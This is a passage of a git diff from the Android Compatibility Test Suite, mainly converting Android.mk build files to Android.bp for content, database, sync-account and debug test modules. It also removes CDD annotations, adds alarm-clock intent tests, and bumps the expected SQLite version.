+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsContactsProviderWipe",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
deleted file mode 100644
index e046fad..0000000
--- a/tests/tests/contactsproviderwipe/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsContactsProviderWipe
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 4b7415d..34ecab2 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -22,6 +22,10 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_USE_AAPT2 := true
 
+# Don't run manifestmerger on dependencies, it is unhappy with the duplicate
+# REQUIRED_MULTI_DENY permissions in AndroidManifest.xml
+LOCAL_DONT_MERGE_MANIFESTS := true
+
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
new file mode 100644
index 0000000..c6453bc
--- /dev/null
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test {
+    name: "CtsSyncAccountAccessOtherCertTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "accountaccesslib",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    certificate: ":cts-testkey2",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
deleted file mode 100644
index 959fab5..0000000
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    ctstestrunner-axt \
-    accountaccesslib
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSyncAccountAccessOtherCertTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp
new file mode 100644
index 0000000..f6c04c7
--- /dev/null
+++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSyncAccountAccessStubs",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.mk b/tests/tests/content/SyncAccountAccessStubs/Android.mk
deleted file mode 100644
index 9f015a3..0000000
--- a/tests/tests/content/SyncAccountAccessStubs/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSyncAccountAccessStubs
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
new file mode 100644
index 0000000..e3a7872
--- /dev/null
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsContentEmptyTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/content/emptytestapp/Android.mk b/tests/tests/content/emptytestapp/Android.mk
deleted file mode 100644
index ea4d35a..0000000
--- a/tests/tests/content/emptytestapp/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsContentEmptyTestApp
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/jni/Android.bp b/tests/tests/content/jni/Android.bp
new file mode 100644
index 0000000..991f5a6
--- /dev/null
+++ b/tests/tests/content/jni/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libnativecursorwindow_jni",
+    srcs: ["NativeCursorWindow.c"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-pointer-arith",
+        "-Wno-unused-parameter",
+    ],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+    stl: "libc++_static",
+}
diff --git a/tests/tests/content/jni/Android.mk b/tests/tests/content/jni/Android.mk
deleted file mode 100644
index 3b14b6f..0000000
--- a/tests/tests/content/jni/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libnativecursorwindow_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := NativeCursorWindow.c
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-pointer-arith -Wno-unused-parameter
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
-LOCAL_CXX_STL := libc++_static
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/content/jni/NativeCursorWindow.c b/tests/tests/content/jni/NativeCursorWindow.c
index a2fb92a..95342e6 100644
--- a/tests/tests/content/jni/NativeCursorWindow.c
+++ b/tests/tests/content/jni/NativeCursorWindow.c
@@ -69,7 +69,7 @@
 JNIEXPORT jint JNICALL
 Java_android_content_cts_CursorWindowContentProvider_makeNativeCursorWindowFd(JNIEnv *env, jclass clazz,
 jint offset, jint size, jboolean isBlob) {
-    int fd = open("/dev/ashmem", O_RDWR);
+    int fd = open("/dev/ashmem", O_RDWR | O_CLOEXEC);
     ioctl(fd, ASHMEM_SET_NAME, "Fake CursorWindow");
 
     ioctl(fd, ASHMEM_SET_SIZE, 1024);
diff --git a/tests/tests/content/lib/Android.mk b/tests/tests/content/lib/Android.mk
deleted file mode 100644
index 9aaa6ac..0000000
--- a/tests/tests/content/lib/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/content/lib/accountaccess/Android.bp b/tests/tests/content/lib/accountaccess/Android.bp
new file mode 100644
index 0000000..0773b86
--- /dev/null
+++ b/tests/tests/content/lib/accountaccess/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "accountaccesslib",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "mockito-target",
+        "ub-uiautomator",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/tests/tests/content/lib/accountaccess/Android.mk b/tests/tests/content/lib/accountaccess/Android.mk
deleted file mode 100644
index 134eb40..0000000
--- a/tests/tests/content/lib/accountaccess/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := accountaccesslib
-
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target \
-                               ub-uiautomator \
-                               compatibility-device-util-axt
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 064bf0b..9dbd682 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -33,7 +33,6 @@
 import android.telecom.TelecomManager;
 import android.test.AndroidTestCase;
 
-import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 
 import java.util.List;
@@ -75,7 +74,6 @@
      * Test ACTION_VIEW when url is http://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testViewNormalUrl() {
         Uri uri = Uri.parse(NORMAL_URL);
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -86,7 +84,6 @@
      * Test ACTION_VIEW when url is https://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testViewSecureUrl() {
         Uri uri = Uri.parse(SECURE_URL);
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
@@ -97,7 +94,6 @@
      * Test ACTION_WEB_SEARCH when url is http://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testWebSearchNormalUrl() {
         Uri uri = Uri.parse(NORMAL_URL);
         Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -109,7 +105,6 @@
      * Test ACTION_WEB_SEARCH when url is https://web_address,
      * it will open a browser window to the URL specified.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testWebSearchSecureUrl() {
         Uri uri = Uri.parse(SECURE_URL);
         Intent intent = new Intent(Intent.ACTION_WEB_SEARCH);
@@ -189,7 +184,6 @@
     /**
      * Test ACTION_SHOW_CALL_SETTINGS, it will display the call preferences.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testShowCallSettings() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -201,7 +195,6 @@
     /**
      * Test ACTION_SHOW_RESPOND_VIA_SMS_SETTINGS, it will display the respond by SMS preferences.
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testShowRespondViaSmsSettings() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -213,7 +206,6 @@
     /**
      * Test start camera by intent
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testCamera() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA)
@@ -232,7 +224,6 @@
         }
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testSettings() {
         assertCanBeHandled(new Intent(Settings.ACTION_SETTINGS));
     }
@@ -240,7 +231,6 @@
     /**
      * Test add event in calendar
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testCalendarAddAppointment() {
         Intent addAppointmentIntent = new Intent(Intent.ACTION_EDIT);
         addAppointmentIntent.setType("vnd.android.cursor.item/event");
@@ -250,7 +240,6 @@
     /**
      * Test view call logs
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testContactsCallLogs() {
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
@@ -263,7 +252,6 @@
     /**
      * Test view music playback
      */
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testMusicPlayback() {
         Intent intent = new Intent(Intent.ACTION_VIEW);
         intent.setDataAndType(ContentUris.withAppendedId(
@@ -271,7 +259,6 @@
         assertCanBeHandled(intent);
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockSetAlarm() {
         Intent intent = new Intent(AlarmClock.ACTION_SET_ALARM);
         intent.putExtra(AlarmClock.EXTRA_MESSAGE, "Custom message");
@@ -280,20 +267,28 @@
         assertCanBeHandled(intent);
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
+    public void testAlarmClockShowAlarms() {
+        Intent intent = new Intent(AlarmClock.ACTION_SHOW_ALARMS);
+        assertCanBeHandled(intent);
+    }
+
+    public void testAlarmClockDismissAlarm() {
+        Intent intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
+        assertCanBeHandled(intent);
+    }
+
+    public void testAlarmClockSnoozeAlarm() {
+        Intent intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
+        intent.putExtra(AlarmClock.EXTRA_ALARM_SNOOZE_DURATION, 10);
+        assertCanBeHandled(intent);
+    }
+
     public void testAlarmClockSetTimer() {
         Intent intent = new Intent(AlarmClock.ACTION_SET_TIMER);
         intent.putExtra(AlarmClock.EXTRA_LENGTH, 60000);
         assertCanBeHandled(intent);
     }
 
-    @CddTest(requirement="3.2.3.1/C-0-1")
-    public void testAlarmClockShowAlarms() {
-        Intent intent = new Intent(AlarmClock.ACTION_SHOW_ALARMS);
-        assertCanBeHandled(intent);
-    }
-
-    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testAlarmClockShowTimers() {
         if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
             return;
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderTest.java b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
index 95f4611..dc4a031 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderTest.java
@@ -29,8 +29,6 @@
 
 import android.content.cts.R;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.io.IOException;
@@ -38,7 +36,6 @@
 /**
  * Test {@link ContentProvider}.
  */
-@CddTest(requirement="3.5/C-0-2")
 public class ContentProviderTest extends AndroidTestCase {
     private static final String TEST_PACKAGE_NAME = "android.content.cts";
     private static final String TEST_FILE_NAME = "testFile.tmp";
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index d0e70f2..80f47f9 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -28,7 +28,6 @@
 import java.util.Iterator;
 import java.util.Set;
 
-import org.kxml2.io.KXmlParser;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 import org.xmlpull.v1.XmlSerializer;
@@ -49,6 +48,7 @@
 import android.test.AndroidTestCase;
 import android.util.Printer;
 import android.util.StringBuilderPrinter;
+import android.util.Xml;
 
 import com.android.internal.util.FastXmlSerializer;
 
@@ -587,7 +587,7 @@
         mIntentFilter.addDataType(DATA_TYPE);
         mIntentFilter.writeToXml(xml);
         xml.flush();
-        final KXmlParser parser = new KXmlParser();
+        final XmlPullParser parser = Xml.newPullParser();
         final InputStream in = new ByteArrayInputStream(out.toByteArray());
         parser.setInput(in, "utf-8");
         final IntentFilter intentFilter = new IntentFilter();
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index 51684ae..af53e56 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -39,7 +39,6 @@
 import android.util.Xml;
 
 import com.android.content.cts.DummyParcelable;
-import com.android.compatibility.common.util.CddTest;
 
 import java.io.IOException;
 import java.io.Serializable;
@@ -48,7 +47,6 @@
 import java.util.Objects;
 import java.util.Set;
 
-@CddTest(requirement="3.5/C-0-1")
 public class IntentTest extends AndroidTestCase {
 
     private Intent mIntent;
diff --git a/tests/tests/database/Android.bp b/tests/tests/database/Android.bp
new file mode 100644
index 0000000..e5f04da
--- /dev/null
+++ b/tests/tests/database/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsDatabaseTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "android-common",
+        "ctstestrunner-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "junit",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    // Enforce public / test api only
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
deleted file mode 100644
index 8b38c08..0000000
--- a/tests/tests/database/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-common \
-    ctstestrunner-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    junit
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsDatabaseTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index f901e9c..1bafaa04 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -49,7 +49,7 @@
 public class SQLiteDatabaseTest extends AndroidTestCase {
 
     private static final String TAG = "SQLiteDatabaseTest";
-    private static final String EXPECTED_MAJOR_MINOR_VERSION = "3.22";
+    private static final String EXPECTED_MAJOR_MINOR_VERSION = "3.28";
     private static final int EXPECTED_MIN_PATCH_LEVEL = 0;
 
     private SQLiteDatabase mDatabase;
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
deleted file mode 100644
index 68e8f90..0000000
--- a/tests/tests/debug/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDebugTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt nativetesthelper
-
-LOCAL_JNI_SHARED_LIBRARIES := libdebugtest
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-# Include the associated library's makefile.
-include $(LOCAL_PATH)/libdebugtest/Android.mk
diff --git a/tests/tests/debug/AndroidManifest.xml b/tests/tests/debug/AndroidManifest.xml
deleted file mode 100644
index 16537fb..0000000
--- a/tests/tests/debug/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.debug.cts">
-
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
